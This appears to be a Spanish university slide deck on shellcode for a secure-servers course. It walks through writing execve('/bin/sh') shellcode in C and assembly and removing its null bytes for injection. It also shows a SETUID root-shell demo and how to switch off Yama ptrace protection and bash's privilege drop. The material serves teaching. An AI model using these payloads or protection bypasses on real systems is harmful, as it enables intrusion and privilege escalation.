Servidores seguros

Shellcode

Gustavo Romero López

Updated: 1 de noviembre de 2024

Ingeniería de Computadores, Automática y Robótica

Índice

Objetivos

- Aprender que es un shellcode.
- Utilización de shellcodes.
- Personalización de shellcodes.
- Evitar las medidas de seguridad que impiden su ejecución.

¿Qué es un shellcode?

- Como su nombre indica es un tipo de código binario que suele **ejecutar** un intérprete de órdenes: `ash`, `bash`, `csh`, `dash`, `ksh`, `tcsh`, `sh`, `zsh`,...
- Habitualmente se aprovecha alguna **vulnerabilidad** para **inyectar** dicho conjunto de instrucciones en la **memoria** y ejecutarlo.
- Puede formar parte del código de un **exploit** para obtener acceso a un sistema.
- Su propósito más común es **romper la seguridad** de un sistema.
- El objetivo es alcanzar un **nivel de privilegio** al que no se está autorizado.

Un shellcode en C

posix.c

```c
int main()
{
    char *path = "/bin/sh";
    char *argv[] = {path, NULL};
    char *envp[] = {NULL};
    execve(path, argv, envp);
}
```

- ¿En qué lenguaje lo programarías si pudieras elegir?
- ¿Por qué usamos `execve()`?
- ¿Recuerdas sistemas operativos?

Ejercicios:

1. ¿Funciona bien `posix.c`?

Mínimo shellcode en C

sh.c

```c
#include <unistd.h>

int main()
{
    execve("/bin/sh", NULL, NULL);
}
```

- Podemos escribir un shellcode en cualquier lenguaje compilable.

Ejercicios:

2. Prueba `sh.c` y asegurate de que funciona correctamente.

Probando sh.c

```
[gustavo@localhost shellcode]$ make sh
cc -g -Os -Wall sh.c -o sh
[gustavo@localhost shellcode]$ whoami
gustavo
[gustavo@localhost shellcode]$ ls -la sh
-rwxr-xr-x. 1 gustavo gustavo 11416 Apr  5 15:53 sh
[gustavo@localhost shellcode]$ ./sh
sh-4.3$ whoami
gustavo
sh-4.3$ ps f
  PID TTY      STAT   TIME COMMAND
 4752 pts/1    Ss     0:00 bash
31968 pts/1    S      0:00  \_ /bin/sh
31969 pts/1    R+     0:00      \_ ps f
```

¿Quién no quiere ser superusuario?

- A todo atacante le gustaría ser `root`.
- Vamos a intentar conseguirlo gracias al bit `SETUID`.
- `SETUID`: permiso de un fichero que permite a un usuario ejecutar binarios con privilegios elevados temporalmente.
- Primero vamos a cambiar el dueño de `sh`

  ```
  sudo chown root sh
  ```
- Después vamos a activar el bit `SETUID`

  ```
  sudo chmod +s sh
  ```
- Ahora al ejecutar `sh` nos convertiremos en `root`.

Ejercicios:

3. Busque todos ficheros ejecutables del sistema pertenecientes al usuario `root` y con el bit `SETUID` activado.

   ```
   find /{,usr/}{,s}bin -user root -perm -4000 -exec ls -ldb {} +
   ```

¿Quién no quiere ser superusuario?

```
[gustavo@localhost shellcode]$ ls -l sh
-rwxr-xr-x. 1 gustavo gustavo 916464 Apr  5 16:12 sh
[gustavo@localhost shellcode]$ sudo chown root:root sh
[gustavo@localhost shellcode]$ ls -l sh
-rwxr-xr-x. 1 root root 916464 Apr  5 16:12 sh
[gustavo@localhost shellcode]$ sudo chmod u+s sh
[gustavo@localhost shellcode]$ ls -l sh
-rwsr-xr-x. 1 root root 916464 Apr  5 16:12 sh
[gustavo@localhost shellcode]$ whoami
gustavo
[gustavo@localhost shellcode]$ ./sh
sh-4.3$ ps f
  PID TTY      STAT   TIME COMMAND
 4752 pts/1    Ss     0:00 bash
31968 pts/1    S      0:00  \_ /bin/sh
31969 pts/1    R+     0:00      \_ ps f
sh-4.3$ whoami
gustavo
```

¿Quién no quiere ser superusuario?

Medidas de seguridad recientemente introducidas lo impiden:

- `bash` examina con más cuidado las llamadas a `exec()`.

  → solución: usar otro intérprete de órdenes como `zsh`.

  → hacer que `/bin/sh` sea un enlace a `zsh`.
- Yama: módulo de seguridad que limita la capacidad de examinar a otros procesos.

  → solución: elevar los permisos

  ```
  echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
  ```

  ó

  ```
  sudo sysctl kernel.yama.ptrace_scope=0
  ```

¿Quién no quiere ser superusuario?

```
[gustavo@localhost shellcode]$ cat /proc/sys/kernel/yama/ptrace_scope
0
[gustavo@localhost shellcode]$ ls -l /usr/bin/sh
lrwxrwxrwx. 1 root root 4 dic 12 11:16 /usr/bin/sh -> bash
[gustavo@localhost shellcode]$ sudo ln -sf zsh /usr/bin/sh
[gustavo@localhost shellcode]$ ls -l /usr/bin/sh
lrwxrwxrwx. 1 root root 4 dic 12 11:16 /usr/bin/sh -> zsh
[gustavo@localhost shellcode]$ whoami
gustavo
[gustavo@localhost shellcode]$ ./sh
# whoami
root
```

Localizando el shellcode

- Lo normal es empezar por compilar `sh.c`...

  ```
  gcc -Os -Wall sh.c -o sh
  ```

- Para después buscar entre su código binario...

  ```
  objdump -d sh
  ```

```
0000000000401040 <main>:
  401040:    50                      push   %rax
  401041:    31 d2                   xor    %edx,%edx
  401043:    31 f6                   xor    %esi,%esi
  401045:    bf 10 20 40 00          mov    $0x402010,%edi
  40104a:    e8 e1 ff ff ff          call   401030 <execve@plt>
  40104f:    31 c0                   xor    %eax,%eax
  401051:    5a                      pop    %rdx
  401052:    c3                      ret
```

Localizando el shellcode

- ¿Qué es eso de "`call 401030 <execve@plt>`"?
- ¿Os acordáis del enlace dinámico? → PLT y GOT
- ¿Y ahora qué?... Compila con enlace estático:

  `gcc -Os -static -Wall sh.c -o sh`

```
000000000040168c <main>:
  40168c:    50                      push   %rax
  40168d:    31 d2                   xor    %edx,%edx
  40168f:    31 f6                   xor    %esi,%esi
  401691:    bf 18 a0 47 00          mov    $0x47a018,%edi
  401696:    e8 05 f8 00 00          call   410ea0 <__execve>
  40169b:    31 c0                   xor    %eax,%eax
  40169d:    5a                      pop    %rdx
  40169e:    c3                      ret
```

- ¿Qué es eso de "`call 430370 <__execve>`"?
- Echemos un vistazo a la función `__execve()`:

```
0000000000410ea0 <__execve>:
  410ea0:    f3 0f 1e fa              endbr64
  410ea4:    b8 3b 00 00 00           mov    $0x3b,%eax
  410ea9:    0f 05                    syscall
```

Ejercicios:

4. ¿Que diferencia de tamaño existe entre los ejecutables de las versiones estática y dinámica de `sh.c`?

Localizando el shellcode

- Parece que ya lo hemos encontrado, ¿no?
- Si,... ¿pero y los parámetros?
  - llamada al sistema `sys_execve`
  - coincide con `execve()` de la biblioteca de C:

```
int execve(const char *filename,
           const char *argv[],
           const char *envp[])
```

- Lista de protocolos de llamada a función.
- x86_64: System V AMD64 ABI:
  - registros: RDI, RSI, RDX, RCX, R8, R9, XMM0-7
  - orden de parámetros en la pila (si $n^o > 6$): RTL(C)
  - pila restaurada por el invocante una función

Extrayendo el shellcode

```
000000000040168c <main>:
  40168c:    50                      push   %rax
  40168d:    31 d2                   xor    %edx,%edx
  40168f:    31 f6                   xor    %esi,%esi
  401691:    bf 18 a0 47 00          mov    $0x47a018,%edi
  401696:    e8 05 f8 00 00          call   410ea0 <__execve>
  40169b:    31 c0                   xor    %eax,%eax
  40169d:    5a                      pop    %rdx
  40169e:    c3                      ret
  40169f:    90                      nop


0000000000410ea0 <__execve>:
  410ea0:    f3 0f 1e fa             endbr64
  410ea4:    b8 3b 00 00 00          mov    $0x3b,%eax
  410ea9:    0f 05                   syscall
```

Ejercicios:

5. ¿Podemos ya copiar el shellcode del desensamblado de sh?

Extrayendo el shellcode

- ¿Qué hacemos con las direcciones de memoria?

```
000000000040168c <main>:
  40168c:    50                      push   %rax
  40168d:    31 d2                   xor    %edx,%edx
  40168f:    31 f6                   xor    %esi,%esi
  401691:    bf 18 a0 47 00          mov    $0x47a018,%edi
  401696:    e8 05 f8 00 00          call   410ea0 <__execve>

0000000000410ea0 <__execve>:
  410ea0:    f3 0f 1e fa             endbr64
  410ea4:    b8 3b 00 00 00          mov    $0x3b,%eax
  410ea9:    0f 05                   syscall
```

Ejercicios:

6. ¿Qué hay en la dirección de memoria que se pasa como argumento a `execve()`?

Extrayendo el shellcode (versión no posix)

pseudocódigo

```
xor %edx,%edx
xor %esi,%esi
mov &"/bin/sh",%rdi # ¿Cómo hacer esto?
mov $0x3b,%eax
syscall
```

- La tercera instrucción no existe.
- Hay varias formas de arreglarlo...
  1. Colocar la cadena en la zona de datos (no tenemos).
  2. Colocar la cadena en la zona de código.

Extrayendo el shellcode: solución 1

s1.s

```
mov $0x68732f6e69622f, %rax
push %rax
push %rsp
pop %rdi
xor %rsi,%rsi
xor %rdx,%rdx
mov $0x3b,%eax
syscall
```

ASCII	/	b	i	n	/	s	h	NULL
hexadecimal	0x2f	0x62	0x69	0x6e	0x2f	0x73	0x68	0x00

Ejercicios:

7. ¿Funciona s1.s?

Extrayendo el shellcode: solución 2

s2.s

```
    mov $path, %rdi
    xor %rsi,%rsi
    xor %rdx,%rdx
    mov $0x3b,%eax
    syscall
path:
    .string "/bin/sh"
```

Ejercicios:

8. ¿Funciona s2.s?

Extrayendo el shellcode

- Extraer el shellcode del desensamblado de un lenguaje de alto nivel es posible pero innecesariamente tortuoso.
- Casi todo es más fácil con lenguajes de programación de alto nivel, salvo cosas de este tipo.
- Cuando queremos hacer cosas raras el ensamblador nos da más libertad.
  - mezclar código y datos
- Otra opción es utilizar ensamblador en línea dentro de C/C++: `asm()`

Probando el shellcode

función `main()` de `test.c`

```
#if __i386__
    char shellcode[] = "\x31\xc9\xf7\xe1\x50\x68\x2f"
                       "\x2f\x73\x68\x68\x2f\x62\x69"
                       "\x6e\x89\xe3\xb0\x0b\xcd\x80"; // 21.s
#elif __x86_64__
    char shellcode[] = "\x48\xb8\x2f\x62\x69\x6e\x2f"
                       "\x73\x68\x3b\x50\x54\x5f\x31"
                       "\xf6\xf7\xe6\x86\x47\x07\x0f\x05"; // 22c.s
#else
    #error undefined arch!!!
#endif
    printf("shellcode[%zu] = %s\n", strlen(shellcode), shellcode);
    ((void (*)())shellcode)();
```

Ejercicios:

9. Prueba tu shellcode... ¿funciona?

Personalización de shellcodes

- ¿Este shellcode sirve para algo?
- Para calmar nuestra sed de conocimiento ;)
- ¿Serviría para crear un exploit de verdad?
  - ¿El código es relocalizable?
  - ¿Cómo va a ser inyectado?
    → por ejemplo con una función vulnerable tipo `strcpy()`
  - ¿Contiene ceros?
    → `strcpy()`, y similares, no van a poder copiarlo
  - ¿Es grande o pequeño?
    → ¿Qué tamaño tiene el búfer sobre el que va a ser inyectado?
  - ¿Cuántos push contiene?
    → ¿Entran en conflicto la pila y el búfer de inyección?

Ejercicios:

10. Quita los ceros de tu shellcode.

```
_start:
    lea path(%rip),%rdi
    xor %rsi,%rsi
    xor %rdx,%rdx
    mov $0x3b,%eax
    syscall
path:
    .string "/bin/sh"
```

```
# zero rax, rdx & rsi with only 4 bytes
xor %esi, %esi
mul %esi

# null terminator for the next string
push %rax

# push reversed '/bin//sh'
mov $0x68732f2f6e69622f, %rbx
push %rbx

# make rdi point to '/bin//sh'
push %rsp
pop %rdi

# execve syscall
mov $0x3b, %al
syscall
```

```
movabs $0x3b68732f6e69622f,%rax # "/bin/sh\x3b"
push   %rax                     # /bin/sh in stack
push   %rsp                     # string address in stack
pop    %rdi                     # rdi = "/bin/sh" address
xor    %esi,%esi                # rsi = null
mul    %esi                     # rdx = null
xchg   %al,0x7(%rdi)            # sys_execve
syscall                         # sys_execve("/bin/sh", nu
```

```
push $0x3b  # sys_execve
pop  %rax
cltd        # eax --> rdx:rax
push %rdx
mov  $0x68732f2f6e69622f, %rbx  # /bin//sh
push %rbx
push %rsp
pop  %rdi   # /bin//sh
push %rdx
push %rdi
push %rsp
pop  %rsi   # {"/bin//sh", null}
syscall
```